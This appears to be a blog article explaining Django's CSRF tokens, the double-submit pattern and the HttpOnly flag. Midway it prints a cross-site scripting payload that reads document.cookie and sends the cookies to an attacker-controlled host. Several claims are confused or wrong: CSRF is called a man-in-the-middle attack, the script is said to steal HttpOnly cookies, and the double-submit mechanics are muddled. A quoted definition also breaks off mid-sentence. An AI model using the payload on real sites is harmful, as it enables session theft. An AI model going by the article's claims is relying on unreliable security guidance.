Web application security is of paramount importance in today’s digital landscape, where cyber threats are constantly evolving. Two critical measures that Djangoemploys to enhance security are the CSRF (Cross-Site Request Forgery) token and the HttpOnly flag. In this article, we will delve into the significance of CSRF token and understand how they protect Django applications from common web vulnerabilities.
CSRF attacks exploit the trust between a web application and its authenticated users. An attacker tricks a victim into performing unintended actions such as man-in-the-middle attack on the application by forging requests. Django utilizes CSRF tokens to combat with this thread. A CSRF token is a unique and random value associated with a user’s session that is required for every non-safe HTTP request (POST, PUT, DELETE).
By default, Django does not require CSRF tokens for GET requests. This is because GET requests are considered “safe” as they are intended for retrieving data and should not modify server-side resources.
How it works:
- When a user visits the site, the server generates a token and embeds it into the user’s session.
- The server sends the token to the client, usually as a cookie or a hidden form field.
- When the user submits a form or performs a non-safe action, the token is included in the request.
- The server verifies the submitted token with the token stored in the user’s session. If they match, the request is considered valid.
By employing CSRF tokens, Django ensures that every request originates from within the application and is not maliciously forged. This prevents unauthorized actions and protects users from being manipulated into performing unintended operations.
Double submitting the token
How does a system work like pastebin, where thousands of anonymous people paste code daily? Double-submitting the token is a technique used to enhance the CSRF protection, since attackers’ forging area is generally the request body and they ignore the headers. By requiring the token to be present and matching in two separate locations, the form and the custom header, the double-submitting technique adds an extra layer of protection against CSRF attacks. Even if an attacker manages to forge a request and includes the token in the form data, they would still need to guess or obtain the same token value for the custom header, which is (a bit) more challenging, because now the attack will need more time to handle that. It involves sending the token in two separate ways within a request to provide an additional layer of defense against CSRF attacks. Django also has CSRF double submit protection. handled:
- When generating the HTML form, the server includes the CSRF token as a hidden input field within the form, as usual.
- In addition to the CSRF token within the form, the server also includes the same token in a different location, typically within a custom HTTP header.
- When the client submits the form or performs a non-safe request, both the form data and the custom HTTP header are sent to the server.
- On the server side, the CSRF protection mechanism checks for the presence of the token in both the form data and the custom header.
- The server then compares the token values from the two locations. If the tokens match, the request is considered valid and is processed further.
you know, an example scenario, forging this script in a field in an address form and stealing the user cookie… :
<script> // Malicious script to steal HttpOnly cookies var stolenCookies = document.cookie; new Image().src = 'https://attacker.com/steal?cookies=' + encodeURIComponent(stolenCookies); </script>
In this scenario, the attacker injects the malicious script into a user comment. When a victim, let’s call them Bob, visits the page and loads the compromised content, the script executes within the context of the target website. As a result, the attacker successfully retrieves the victim’s cookies by accessing the
document.cookie property. The stolen cookies are then sent to the attacker’s domain for further exploitation.
I will try to explain the subject by quoting more after this point, since what I will tell here may cause some confusion. You will see that the HttpOnly flag is disabled for csrf token by default in Django, because of the double submit pattern.
HttpOnly flag is explained as “The
In stackexchange, Anders says: “But the token must somehow be available so it can be double submitted – thats the whole point with it, after all. So Django solves this by including the value in a hidden form field. This negates the whole benefit of HttpOnly, since an attacker can just read the value of the form field instead of the cookie“.
Anyway, the best way to deflect those types of attacks are sanitizing all user input before they are stored in a cookie or database and applying latest security patches.
Cross-Site Request Forgery Prevention Cheat Sheet – OWASP
Session Management Cheat Sheet – OWASP
Does a CSRF cookie need to be HttpOnly? – stackexchange